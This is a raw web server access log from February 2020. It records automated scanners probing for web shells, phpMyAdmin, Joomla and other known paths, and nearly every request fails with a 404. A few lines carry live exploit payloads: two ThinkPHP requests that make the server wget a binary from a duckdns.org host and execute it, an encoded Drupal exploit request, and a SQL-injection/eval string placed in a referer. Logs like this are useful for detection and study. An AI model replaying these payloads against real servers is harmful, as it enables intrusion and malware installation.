139.217.134.138 - - [10/Feb/2020:13:32:43 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:44 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:44 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:45 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:46 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:47 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:47 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:47 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:47 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:48 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:51 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:51 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:51 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:51 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:52 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:53 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:55 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:55 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:55 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:55 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:56 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:56 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:58 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:59 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:32:59 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
124.43.8.138 - - [10/Feb/2020:13:33:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.217.134.138 - - [10/Feb/2020:13:33:23 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:33:47 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:34:11 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:34:35 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:34:59 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:35:23 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:35:47 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:36:11 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:36:35 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:36:59 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:36:59 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:36:59 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:37:00 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:37:00 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:37:23 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [10/Feb/2020:13:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:38:11 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:38:35 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:38:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:39:23 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.93.15.0 - - [10/Feb/2020:13:39:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.217.134.138 - - [10/Feb/2020:13:39:47 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:40:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:40:35 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
128.14.133.58 - - [10/Feb/2020:13:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:40:59 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:23 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
139.217.134.138 - - [10/Feb/2020:13:41:23 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:24 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:24 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:25 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:27 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:27 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:27 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:28 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:28 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:31 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:31 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:31 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:32 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:41:32 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:33 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:34 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:35 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:35 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:35 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:36 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:37 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:37 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:38 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:39 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:39 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:39 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:39 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:40 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:42 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:43 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:43 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:43 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:44 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:44 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:45 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:46 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:47 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:47 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:47 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:47 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:51 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:51 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:51 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:51 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:52 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:53 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:55 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:55 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
